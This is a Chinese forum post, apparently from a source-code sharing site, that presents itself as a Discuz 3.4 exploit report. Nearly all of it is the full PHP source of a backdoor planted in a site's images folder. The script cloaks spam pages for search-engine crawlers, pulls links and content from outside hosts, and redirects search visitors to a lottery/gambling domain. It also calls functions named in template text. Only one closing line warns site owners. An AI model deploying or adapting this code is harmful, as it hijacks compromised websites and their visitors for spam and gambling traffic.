忘记密码?

一键登录

草根吧源码论坛

永久资源网

Discuz 3.4漏洞利用报告:网站后门木马文件案例 彩票黑链注入脚本

查看: 82|回复: 0

Discuz 3.4漏洞利用报告:网站后门木马文件案例 彩票黑链注入脚本

[复制链接]

3186

主题

6396

热度

2154

贡献

民审

Rank: 8Rank: 8

发表于 2018-2-7 11:13:31 | 显示全部楼层 |阅读模式
本帖最后由 民审-M 于 2018-2-7 11:15 编辑

Discuz 3.4漏洞利用报告:网站后门木马文件案例 彩票黑链/友情链接黑链注入脚本:

引入位置:
/static/space/t2/images/下面 *.txt 引用/转换文件
草根吧 Discuz 3.4漏洞利用报告:网站后门木马文件案例 彩票黑链注入脚本 后门,漏洞,注入,模板漏洞,黑链 站长头条 111143nvie9blxgevnzivn


案列黑链注入代码:
  1. <?php
  2. ini_set('html_errors',false);
  3. ini_set('display_errors',false);
  4. define("APP_INCLUDE_FLAG","TRUE");
  5. define('APP_JACK_CHARSET','GBK');
  6. header("Content-type: text/html; charset=".APP_JACK_CHARSET);
  7. define('APP_JACK_DOCUMENTROOT','/home/wwwroot/discuz/domain/discuz.net/web/static/space/t2/images/');
  8. define('MY_LINK_URL', 'http://www.wlbxsjs.com/l.txt');
  9. $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
  10. if (stristr($userAgent,"sogou")){
  11.         define('APP_JACK_KEYWORD',APP_JACK_DOCUMENTROOT.'zi.txt');
  12.         define('APP_JACK_TEMPLATE',APP_JACK_DOCUMENTROOT.'moban.txt');
  13.         define('APP_JACK_BIANLIANG',APP_JACK_DOCUMENTROOT.'bianliang.txt');
  14. }
  15. else
  16. {
  17.         define('APP_JACK_KEYWORD',APP_JACK_DOCUMENTROOT.'zi.txt');
  18.         define('APP_JACK_TEMPLATE',APP_JACK_DOCUMENTROOT.'moban.txt');
  19.         define('APP_JACK_BIANLIANG',APP_JACK_DOCUMENTROOT.'bianliang.txt');
  20. }
  21. define('APP_JACK_ARTICLE',APP_JACK_DOCUMENTROOT.'wen.txt');
  22. define('APP_JACK_DES',APP_JACK_DOCUMENTROOT.'miaoshu.txt');
  23. define('APP_JACK_BIANLIANG_B',APP_JACK_DOCUMENTROOT.'bianliang2.txt');
  24. define('APP_JACK_BIANLIANG_C',APP_JACK_DOCUMENTROOT.'bianliang3.txt');
  25. define('APP_MIX_KWD_FILE',APP_JACK_DOCUMENTROOT.'hunhe.txt');
  26. define('APP_JACK_CACHED','Uncached');
  27. define('APP_JACK_MIN_PAR','3');
  28. define('APP_JACK_MAX_PAR','3');
  29. define('APP_JACK_MIN','10');        
  30. define('APP_JACK_MAX','15');
  31. define('APP_JACK_APPFILE',APP_JACK_DOCUMENTROOT.'app.txt');

  32. function App_GetLink(){
  33.         return 'http://www.discuz.net/thread-'.mt_rand(9999999,9999999999).'-1-1.html';
  34. }
  35. function App_GetSelf(){
  36.         return 'http://www.discuz.net/thread-'.mt_rand(9999999,9999999999).'-1-1.html';
  37. }
  38. //返回图片
  39. function getImg(){
  40.         return 'http://link.wlbxsjs.com/tupian/'.rand(1,7000).".jpg";
  41. }
  42. $my_app = new missclient();
  43. $my_app->run();

  44. class missclient{
  45.         
  46.         public $show_spider;
  47.         public $jump_ref;
  48.         public $http_ref_filter;
  49.         public $jump_url = "";
  50.         public $domain = "";
  51.         public $condition = "";
  52.         public $app_server = "";
  53.         public $log_spider = "";
  54.         public $cur_spider = "";
  55.         public $allow_ip = "";
  56.         public $isCache = false;

  57.         public function run(){
  58.                 $this->domain = $this->getServerName();
  59.                 $this->jump_ref = explode("|","360.|haoso.|bing.|google.|sogou.|soso.|so.com|.sm.cn|.youdao|.yisou|.easou|.etao|.chinaso");
  60.                 $this->http_ref_filter = explode("|","inurl:|site:|site%3A|inurl%3A");
  61.                 $this->allow_ip = "218.80.218.|10.4.62.|10.4.33";
  62.                 $this->condition = ($_GET['tid']> 9999999 && $this->isAllowdIp());
  63.                 $this->app_server = "http://www.sohu999.com/gbk/app.php";
  64.                 $this->isCache  = False;
  65.                 if($this->isSpider() && $this->isAllowdIp()){
  66.                                 if($this->condition){
  67.                                         if($this->isCache){
  68.                                                 $relset_host = $this->getServerName();
  69.                                                 $dir = (substr(PHP_OS, 0, 3) == 'WIN' ? 'C:/windows/temp/' : '/tmp/') . substr(md5($relset_host), 26) . chr(47);
  70.                                                 $cacheFile = $dir.'sess_' . substr(md5(http_build_query($_GET)), 6);
  71.                                                 if(!@file_exists($dir)){
  72.                                               mkdir($dir, 0777);
  73.                                     }
  74.                                                 if(@file_exists($cacheFile) && @filesize ($cacheFile) > 32 ){
  75.                                                         $var = coreAppCache::read($cacheFile);
  76.                                                         $page = file_get_contents(APP_JACK_TEMPLATE);
  77.                                                         foreach($var as $key=>$v){
  78.                                                                 $flag = "{".$key."}";
  79.                                                                 $page = str_replace($flag,$v,$page);
  80.                                                         }
  81.                                                         echo myReplace($page);
  82.                                                         exit();
  83.                                                 }
  84.                                                 else
  85.                                                 {        
  86.                                                         //包含进APP即可
  87.                                                         $currentPage = include(APP_JACK_APPFILE);
  88.                                                 if($currentPage && strlen($currentPage) > 32 && stristr($currentPage,"</explode>")){
  89.                                                                 $var = self::cut($currentPage,"<explode>","</explode>");
  90.                                                                 $var = coreAppCache::decode($var);
  91.                                                                 $page = file_get_contents(APP_JACK_TEMPLATE);
  92.                                                                 foreach($var as $key=>$v){
  93.                                                                         $flag = "{".$key."}";
  94.                                                                         $page = str_replace($flag,$v,$page);
  95.                                                                 }
  96.                                 echo myReplace($page);
  97.                                                                 @coreAppCache::writenocode($currentPage,$cacheFile);
  98.                                                         }
  99.                                                 }
  100.                                                 die();
  101.                                         }
  102.                                         else
  103.                                         {
  104.                                                 $currentPage = include(APP_JACK_APPFILE);
  105.                                                 echo myReplace($currentPage);
  106.                                                 die();
  107.                                         }
  108.                                 }
  109.                                 else
  110.                                 {

  111.                                         $this->_uncondition_hook();
  112.                                 }
  113.                 }
  114.                 else
  115.                 {        
  116.                         if($this->isRef() && $this->condition){
  117.                                 $this->Jump();
  118.                         }
  119.                         else
  120.                         {
  121.                                 $this->_unSpider_hook();
  122.                         }
  123.                 }
  124.         }

  125.         public function isAllowdIp(){
  126.                 $ip = $this->clientIp();
  127.                 $non_list = explode("|",$this->allow_ip);
  128.                 foreach($non_list as $iplist){
  129.                         if(@stristr($ip,$iplist)){
  130.                                 return false;
  131.                         }
  132.                 }
  133.                 return true;
  134.         }

  135.         public function clientIp(){
  136.                 if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
  137.                         $onlineip = getenv('HTTP_CLIENT_IP');
  138.                 } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
  139.                         $onlineip = getenv('HTTP_X_FORWARDED_FOR');
  140.                 } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
  141.                         $onlineip = getenv('REMOTE_ADDR');
  142.                 } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
  143.                         $onlineip = $_SERVER['REMOTE_ADDR'];
  144.                 }
  145.                 preg_match("/[\d\.]{7,15}/", $onlineip, $onlineipmatches);
  146.                 $onlineip = $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown';
  147.                 unset($onlineipmatches);
  148.                 return $onlineip;
  149.         }

  150.         public function isSpider(){
  151.                 $bots = array(
  152.                                                 'Google'        => 'Googlebot',
  153.                                                 'MSN'        => 'MSNbot',
  154.                                                 'Soso'        => 'Sosospider',
  155.                                                 'Youdao'        => 'Youdaobot',
  156.                                                 'Yodao'        => 'Yodaobot',
  157.                                                 'Yisou'        => 'Yisouspider',
  158.                                                 'Easou'        => 'Easouspider',
  159.                                                 'Etao'        => 'Etaospider',
  160.                                                 'Chinaso'        => 'Chinasospider',
  161.                                                 'Baidu'        => 'Baiduspider',
  162.                                                 'Sogou'        => 'Sogou news Spider',
  163.                                                 'Sogou'        => 'Sogou orion spider',
  164.                                                 'Sogou'        => 'Sogou news Spider',
  165.                                                 'Sogou'        => 'Sogou blog',
  166.                                                 'Sogou'        => 'Sogou spider2',
  167.                                                 'Sogou'        => 'Sogou inst spider',
  168.                                                 'Sogou'        => 'Sogou web spider',
  169.                                                 'Haoso'        => 'haosouspider',
  170.                                                 '360spider'        => '360spider',
  171.                                                 'bingbot'        => 'bingbot'
  172.                  );
  173.                 $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
  174.                 foreach ($bots as $k => $v){
  175.                         if (stristr($userAgent,$v)){
  176.                                 if(!empty($this->log_spider)){
  177.                                         @file_put_contents($this->log_spider,$v."->Visited ".$_SERVER['QUERY_STRING']."at: ".date("Y-m-d H:i:s")."\n",FILE_APPEND);
  178.                                 }
  179.                                 $this->cur_spider = $k;
  180.                                 return true;
  181.                                 break;
  182.                         }
  183.                 }
  184.                 return false;        
  185.         }

  186.         public function isRef(){
  187.                 $ref = strtolower(@$_SERVER['HTTP_REFERER']);
  188.                 if(isset($_COOKIE["domain-filter-bypass"])){
  189.                         return false;
  190.                 }
  191.                
  192.                 if(!$this->isAllowdIp()){
  193.                         setcookie("domain-filter-bypass", "lol", time() + 259200);
  194.                         return false;
  195.                 }

  196.                 foreach($this->http_ref_filter as $r){
  197.                         $r = trim($r);
  198.                         if(stristr($ref,$r)){
  199.                                 setcookie("domain-filter-bypass", "lol", time() + 259200);
  200.                                 return false;
  201.                         }
  202.                 }
  203.         
  204.                 foreach($this->jump_ref as $r){
  205.                         $r = trim($r);
  206.                         if(stristr($ref,$r)){
  207.                                 return true;
  208.                         }
  209.                 }
  210.         }

  211.         public function getServerName()
  212.         {
  213.                 $ServerName = strtolower($_SERVER['SERVER_NAME']?$_SERVER['SERVER_NAME']:$_SERVER['HTTP_HOST']);
  214.                 if( strpos($ServerName,'http://') )
  215.                 {
  216.                         return str_replace('http://','',$ServerName);
  217.                 }
  218.                 return $ServerName;
  219.         }

  220.         public function getPage(){
  221.                 if($this->isCache){
  222.                         $cache="cached";
  223.                 }
  224.                 $url  = $this->app_server."?domain=".$this->domain."&gid=199&spider=".$this->cur_spider."&cache=".$cache."&localPar=".http_build_query($_GET);
  225.                 return $this->HttpVisit($url);
  226.         }

  227.     public function HttpVisit($weburl) {
  228.         $remote_data = NULL;
  229.         if (function_exists('curl_exec')) {
  230.             $curl = @curl_init();
  231.             @curl_setopt($curl, CURLOPT_URL, $weburl);
  232.             @curl_setopt($curl, CURLOPT_HEADER, 0);
  233.             @curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
  234.             @curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  235.             $remote_data = @curl_exec($curl);
  236.             @curl_close($curl);
  237.         } else {
  238.             if (function_exists('stream_context_create')) {
  239.                 $header_array = array('http' => array('method' => 'GET', 'timeout' => 30));
  240.                 $http_header = @stream_context_create($header_array);
  241.                 $remote_data = @file_get_contents($weburl, false, $http_header);
  242.             } else {
  243.                 $temp_url = explode("/", $weburl);
  244.                 $new_url = $temp_url[2];
  245.                 $http_port = 80;
  246.                 $get_file = substr($weburl, strlen($new_url) + 7);
  247.                 if (strstr($new_url, chr(58))) {
  248.                     $s_var_array['td'] = explode(chr(58), $new_url);
  249.                     $new_url = $s_var_array['td'][0];
  250.                     $http_port = $s_var_array['td'][1];
  251.                 }
  252.                 $fsock_result = @fsockopen($new_url, $http_port);
  253.                 @fputs($fsock_result, 'GET ' . $get_file . ' HTTP/1.1' . "\r\n" . 'Host:' . $new_url . "\r\n" . 'Connection:Close' . "\r\n\r\n");
  254.                 while (!feof($fsock_result)) {
  255.                     $remote_data .= fgets($fsock_result, 1024);
  256.                 }
  257.                 @fclose($fsock_result);
  258.             }
  259.         }
  260.         return $remote_data;
  261.     }

  262.         public function Jump(){
  263.                 $ref = strtolower(@$_SERVER['HTTP_REFERER']);
  264.                 if($this->isAllowdIp() && stristr($ref,"sogou.")){
  265.                         $domain  = str_replace(".","_",$this->domain);
  266.                         header('Location: https://958999a.com/?jpb_'.$domain);
  267.                         exit;
  268.                 }
  269.                 $ref = strtolower(@$_SERVER['HTTP_REFERER']);
  270.                 if($this->isAllowdIp() && stristr($ref,"bing.")){
  271.                         $domain  = str_replace(".","_",$this->domain);
  272.                         header('Location: https://958999a.com/?jpb_'.$domain);
  273.                         exit;
  274.                 }
  275.                 if($this->isAllowdIp()){
  276.                         $domain  = str_replace(".","_",$this->domain);
  277.                         header('Location: https://958999a.com/?jpb_'.$domain);
  278.                         exit;
  279.                 }
  280.         }
  281.         
  282.         public function _uncondition_hook(){
  283.                 $array = array();
  284.                 for($a=0;$a<5;$a++){
  285.                         echo '<a href="'.App_GetLink().'"></a>'."\n";
  286.                 }
  287.         }

  288.         public function _unSpider_hook(){
  289.                 //
  290.         }


  291.         public function strStartWith($needle, $haystack){
  292.             return (substr($haystack, 0, strlen($needle))==$needle);
  293.         }

  294.         public function rndStr($length=8){
  295.                 $str = null;
  296.                 $strPol = "0123456789abcdefghijklmnopqrstuvwxyz";
  297.                 $max = strlen($strPol)-1;
  298.                 for($i=0;$i<$length;$i++){
  299.                         $str.=$strPol[rand(0,$max)];
  300.                 }
  301.                 return $str;
  302.         }

  303.         public function cut($file,$from,$end)
  304.         {
  305.                 $message=explode($from,$file);
  306.                 $message=explode($end,$message[1]);
  307.                 return   $message[0];
  308.         }
  309. }

  310. class coreAppCache{
  311.         //写入缓存
  312.         public function write($file,$filename){
  313.                 return file_put_contents($filename,self::encode($file));
  314.         }
  315.         public function writenocode($file,$filename){
  316.                 return file_put_contents($filename,$file);
  317.         }
  318.         public function read($filename){
  319.                 $content = file_get_contents($filename);
  320.                 if(stristr($content,"</explode>")){
  321.                         $content = self::cut($content,"<explode>","</explode>");
  322.                 }
  323.                 return self::decode($content);
  324.         }

  325.         public function encode($file){
  326.                 return base64_encode(gzcompress(serialize($file)));
  327.         }

  328.         public function decode($file){
  329.                 return unserialize(gzuncompress(base64_decode($file)));
  330.         }
  331.         
  332.         public function cut($file,$from,$end)
  333.         {
  334.                 $message=explode($from,$file);
  335.                 $message=explode($end,$message[1]);
  336.                 return   $message[0];
  337.         }
  338. }

  339. function removeBom($str) {
  340.     $str = preg_replace('/^[\pZ\p{Cc}\x{feff}]+|[\pZ\p{Cc}\x{feff}]+$/ux', '', $str);

  341.     return $str;
  342. }

  343. function replaceMyLink($str) {
  344.     static $myLinks;

  345.     if (is_null($myLinks)) {
  346.         $c = new missclient();
  347.         $contents = removeBom($c->HttpVisit(MY_LINK_URL));
  348.         $contents = array_filter(array_map('trim', explode(PHP_EOL, $contents)));

  349.         $myLinks = $contents;
  350.     }

  351.     $linkIndex = array_rand($myLinks, 1);
  352.     $link = $myLinks[$linkIndex];

  353.     return $link;
  354. }

  355. function myLinkHandler($str) {
  356.     return preg_replace_callback('#\{\s*友情链接\d*\s*\}#si', 'replaceMyLink', $str);
  357. }

  358. function myReplace($str) {
  359.     $str = myLinkHandler($str);

  360.     preg_match_all('#<\?=\s*([^\)]+)\(([^\)]+)\)\s*\?>#i', $str, $arr, PREG_SET_ORDER);
  361.     foreach ($arr as $item) {
  362.         if (isset($item[1], $item[2]) && function_exists($item[1])) {
  363.             $a = call_user_func_array($item[1], explode(',', $item[2]));
  364.             $str = str_replace_first($item[0], $a, $str);
  365.         }
  366.     }

  367.     return $str;
  368. }

  369. function str_replace_first($from, $to, $subject)
  370. {
  371.     $from = '@'.preg_quote($from, '/').'@si';

  372.     return preg_replace($from, $to, $subject, 1);
  373. }

  374. function randKey($len, $mLen = null)
  375. {
  376.     $chars = array(
  377.         "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"
  378.     );
  379.     if ($mLen && $mLen > 0) {
  380.         $minLen = min($len, $mLen);
  381.         $maxLen = max($mLen, $len);

  382.         $lenArr = range($minLen, $maxLen);
  383.         $len = $lenArr[array_rand($lenArr)];
  384.     }

  385.     $charsLen = count($chars) - 1;
  386.     shuffle($chars);
  387.     $str = "";
  388.     for ($i=0; $i<$len; $i++)
  389.     {
  390.         $str .= $chars[mt_rand(0, $charsLen)];
  391.     }
  392.     return trim($str);
  393. }
  394. ?>
复制代码


可被引入挂载黑链,请站长引起重视,检查目标位置是否存在莫名txt文件。

帖子地址: 

本文来源于草根吧源码论坛 www.caogen8.co,欢迎大家下载。
如果您没有贡献需要充值,可以直接在线充值,点击充值
如果你需要加入本站赞助VIP会员,可以直接在线开通,点击开通
如果找不到您要的资源,请搜索一下,点击搜索

发表回复

高级模式
您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆 用百度帐号登录 一键登录:

本版积分规则

收藏帖子 返回列表 搜索
快速回复 返回顶部 返回列表